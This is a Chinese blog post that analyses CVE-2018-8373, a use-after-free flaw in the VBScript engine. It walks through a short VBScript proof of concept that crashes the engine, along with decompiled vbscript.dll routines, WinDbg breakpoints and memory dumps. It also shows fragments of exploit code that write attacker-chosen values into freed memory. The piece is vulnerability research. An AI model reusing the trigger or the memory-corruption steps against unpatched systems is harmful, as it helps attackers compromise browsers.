CVE-2018-8373初步分析

版权声明:本人的作品仅供研究目的,如果读者利用本人的作品从事其他行为,与本人无关 https://blog.csdn.net/oShuangYue12/article/details/82703425
导致crash的exp
Class MyClass
    Dim array()
    Private Sub Class_Initialize
           Redim array(2)
    End Sub
    Public Default Property Get P
           Redim Preserve array(1)      
    End Property
End Class
Set cls=New MyClass
cls.array(2)=cls

触发点分析

最后这行代码cls.array(2)=cls会调用NameTbl::InvokeEx
逆向结果显示,NameTbl::InvokeEx接着会调用AccessArray和AssignVar,其中stackFor_ecx为导致栈分配接着写入的传递值=ecx也就是AssignVar的edx的寄存器,如图1

struct IEntryPoint *__stdcall NameTbl::InvokeEx(NameTbl *this, int a2, unsigned int a3, int a4, struct tagDISPPARAMS *a5, struct tagVARIANT *a6, struct tagEXCEPINFO *a7, struct IServiceProvider *a8)
{
省略部分....
 else if ( ((_DWORD)v18->lpVtbl & 0xBFFF) == 8204 )
            {
              hr = (struct IEntryPoint *)AccessArray(
                                            (VAR *)v18,
                                            &stackFor_ecx,
                                            (struct VAR **)(v30 - 1),
                                            (struct VAR *)(*v29 + 16),
                                            0,
                                            v42,
                                            v43);
              if ( (signed int)v13 >= 0 )
                  //stackFor_ecx也就是edx的寄存器
                hr = (struct IEntryPoint *)AssignVar(
                                              (int)stackFor_ecx,
                                              v45,
                                              (struct CSession *)&pvarg,
                                              v48,
                                              v42,
                                              (unsigned int)v43);
              VarList::~VarList((VarList *)&v54);
            }
....
}
HRESULT __userpurge AccessArray@<eax>(VAR *varFrom@<edx>, _DWORD *stack@<ecx>, struct VAR **checkVar, struct VAR *varRef, int arrRetRef, struct VAR *a6, struct tagSAFEARRAY **a7)
{
  struct VAR *varPtrType; // eax
  SAFEARRAY *arrRet; // esi
  struct VAR **v9; // eax
  VAR *varNext; // ebx
  int dataSizeOffset; // edi
  struct VAR *vatType; // eax
  int varDimCount; // eax
  int DimSize; // eax
  int dataSize; // edi
  HRESULT result; // eax
  int v17; // ecx
  int v18; // ecx
  struct VAR *v19; // [esp+0h] [ebp-34h]
  const unsigned __int16 *v20; // [esp+4h] [ebp-30h]
  int RetVal; // [esp+18h] [ebp-1Ch]
  _DWORD *stackFor_ecx; // [esp+28h] [ebp-Ch]
  SAFEARRAYBOUND *rgsaboundRef; // [esp+2Ch] [ebp-8h]

  stackFor_ecx = stack;
  varPtrType = VAR::PvarCutAll(varFrom);
  // 如果是Array类型
  if ( *(_WORD *)varPtrType == 8204 )
  {
    arrRet = (SAFEARRAY *)*((_DWORD *)varPtrType + 2);
  }
  else
  {
    if ( *(_WORD *)varPtrType != 24588 )
      return -2147352571;
    arrRet = (SAFEARRAY *)**((_DWORD **)varPtrType + 2);
  }
  if ( !arrRet )
    return -2147352565;
  v9 = (struct VAR **)arrRet->cDims;
  if ( !(_WORD)v9 || v9 != checkVar )
    return -2147352565;
  result = SafeArrayLock(arrRet);
  if ( result >= 0 )
  {
    varNext = varRef;
    // 获取第一个维度
    rgsaboundRef = arrRet->rgsabound;
    dataSizeOffset = 0;
    while ( 1 )
    {
      vatType = VAR::PvarCutAll(varNext);
      if ( *(_WORD *)vatType == 2 )
      {
        // 短整形
        varDimCount = *((signed __int16 *)vatType + 4);
      }
      else if ( *(_WORD *)vatType == 3 )
      {
        // 长整形
        varDimCount = *((_DWORD *)vatType + 2);
      }
      else
      {
        if ( rtVariantChangeTypeEx(
               (struct tagVARIANT *)0x400,
               (struct tagVARIANT *)2,
               3u,
               (unsigned __int16)v19,
               (unsigned __int16)v20) < 0 )
        {
          SafeArrayUnlock(arrRet);
          return CScriptRuntime::RecordHr(v18, v19, v20);
        }
        varDimCount = RetVal;
      }
      DimSize = varDimCount - rgsaboundRef->lLbound;
      // 如果维度大小长度大于维度的元素个数
      if ( DimSize < 0 || DimSize >= (signed int)rgsaboundRef->cElements )
      {
        SafeArrayUnlock(arrRet);
        return CScriptRuntime::RecordHr(v17, v19, v20);
      }
      // 当前维度元素大小
      dataSize = DimSize + dataSizeOffset;
      checkVar = (struct VAR **)((char *)checkVar - 1);
      if ( (signed int)checkVar <= 0 )
        break;
      ++rgsaboundRef;
      dataSizeOffset = rgsaboundRef->cElements * dataSize;
      varNext = (VAR *)((char *)varNext + 16);
    }
    result = SafeArrayUnlock(arrRet);
    if ( result >= 0 )
    {
      // 这里datasize正好是0x10,stack是pvData区域的最后0x10空间
      *stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;
      if ( arrRetRef )
        *(_DWORD *)arrRetRef = arrRet;
      result = 0;
    }
  }
  return result;
}

关于UAF写入位置我的理解是array()默认的长度是1,也就是是占用0x10位置空间, 通过NameTbl::InvokeEx->AccessArray->AssignVar,因为默认长度是1,所以AccessArray的stackFor_ecx分配0x10之后后面的空间都是???,实际上仅仅是分配了0x10后面没有更多的空间后续分配,在SafeArrayRedim又将array的pvData长度变为array(2)的大小也就是3个元素*0x10=0x30,从地址空间的布局可以看出这个0x30空间最后0x10空间正好是0ceaeff0也就是array()默认的长度1个元素所占用的空间,由于RedimPreserveArray把这个空间给释放了,导致实际上释放后可重用的空间还是最初AccessArray申请的array()默认的长度1个元素所占用的空间,最后cls.array(2)=cls调用AssignVar也是往这个地址空间写入数据,因为申请的栈的位置还是AccessArray这里申请的stackFor_ecx->edi,导致崩溃,所以在8373后面的代码

Set cls = New MyClass
    array(2)=cls

//之后导致执行
            For i = 0 To UBound(array2,2)
                    array2(0,i) = 3
                    Next

这个3值首先往申请的栈写入

For i = 0 To UBound(array)
                    array(i) = array2
                    Next

这里只是array的pvData赋值成array2,仅仅是引用,array2的pvData在它直接pvData指针指向的地址所以为实际写入array的pvData

Public Default Property Get P           
        P=&h0fffffff
        End Property

MyClass的p属性需要往栈写入值,通过AssignVar,所以导致array()默认的0x10空间在也就是RedimPreserveArray最后的0x10空间数据为3 和0fffffff

0:017> bp vbscript!RedimPreservearray
0:017> bp vbscript!AccessArray
0:017> bp vbscript!AssignVar
0:017> vbscript!AccessArray+0x1a2   
0:007> g
Breakpoint 2 hit
eax=0bec0efc ebx=0beb6fe0 ecx=0beb4f88 edx=0bec0efc esi=685bcbd4 edi=057fbd84
eip=685b2f7a esp=057fbd78 ebp=057fbd94 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vbscript!AssignVar:
685b2f7a 8bff            mov     edi,edi
0:007> p
eax=0ceaeff0 ebx=00000002 ecx=057fb904 edx=00000002 esi=0c65afe8 edi=057fba48
eip=685c75c1 esp=057fb8b0 ebp=057fb8dc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
//对于之前逆向结果的代码*stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;
vbscript!AccessArray+0xa2:
685c75c1 8b4510          mov     eax,dword ptr [ebp+10h] ss:0023:057fb8ec=00000000
0:007> dc ecx
//默认分配的空间地址指针
057fb904  0ceaeff0 057fb92c 00000001 0beb0fe8  ....,...........
057fb914  00000000 00000000 80020006 0beb4f88  .............O..
057fb924  0beb2fe0 0070af60 00000000 c0c0004a  ./..`.p.....J...
057fb934  c0c0c0c0 0bf3efe8 c0c0c0c0 057fb95c  ............\...
057fb944  696d58e3 0c964f98 057fb970 c0c0600c  .Xmi.O..p....`..
057fb954  c0c0c0c0 0bf46f90 0c65afe8 685d89ce  .....o....e...]h
057fb964  057fb9a4 685d9801 082d7fd0 00000003  ......]h..-.....
057fb974  00000409 00000004 057fb9f8 00000000  ................
//实际上仅仅是分配了0x10没有多余分配
0:007> dc  0ceaeff0
0ceaeff0  00000000 00000000 00000000 00000000  ................
0ceaf000  ???????? ???????? ???????? ????????  ????????????????
0ceaf010  ???????? ???????? ???????? ????????  ????????????????
0ceaf020  ???????? ???????? ???????? ????????  ????????????????
0ceaf030  ???????? ???????? ???????? ????????  ????????????????
0ceaf040  ???????? ???????? ???????? ????????  ????????????????
0ceaf050  ???????? ???????? ???????? ????????  ????????????????
0ceaf060  ???????? ???????? ???????? ????????  ????????????????
0:007> g
Breakpoint 0 hit
eax=0c65afe8 ebx=057fb4f8 ecx=0c65afe8 edx=00000001 esi=0bf46f84 edi=0bf16bf0
eip=685dd80c esp=057fb250 ebp=057fb48c iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203
vbscript!RedimPreserveArray:
685dd80c 8bff            mov     edi,edi
0:007> dc 0c65afe8
//查看数组的长度是3
0c65afe8  08800001 00000010 00000000 0ceaefd0  ................
0c65aff8  00000003 00000000 ???????? ????????  ........????????
0c65b008  ???????? ???????? ???????? ????????  ????????????????
0c65b018  ???????? ???????? ???????? ????????  ????????????????
0c65b028  ???????? ???????? ???????? ????????  ????????????????
0c65b038  ???????? ???????? ???????? ????????  ????????????????
0c65b048  ???????? ???????? ???????? ????????  ????????????????
0c65b058  ???????? ???????? ???????? ????????  ????????????????
//pvData的空间被RedimPreserveArray撑大到0x30
0:007> dc  0ceaefd0
0ceaefd0  00000000 00000000 00000000 00000000  ................
0ceaefe0  00000000 00000000 00000000 00000000  ................
0ceaeff0  00000000 00000000 00000000 00000000  ................
0ceaf000  ???????? ???????? ???????? ????????  ????????????????
0ceaf010  ???????? ???????? ???????? ????????  ????????????????
0ceaf020  ???????? ???????? ???????? ????????  ????????????????
0ceaf030  ???????? ???????? ???????? ????????  ????????????????
0ceaf040  ???????? ???????? ???????? ????????  ????????????????
0:007> g
(f28.eb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0ceaeff0 ecx=0ceaeff0 edx=0008001f esi=0ceaeff0 edi=057fb8d0
eip=685b217e esp=057fb898 ebp=057fb8a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
vbscript!VAR::Clear+0xe:
//导致实际上释放后可重用的空间还是最初AccessArray申请的array()默认的长度1个元素所占用的空间=0ceaeff0
685b217e 0fb703          movzx   eax,word ptr [ebx]       ds:0023:0ceaeff0=????

猜你喜欢

转载自blog.csdn.net/oShuangYue12/article/details/82703425
今日推荐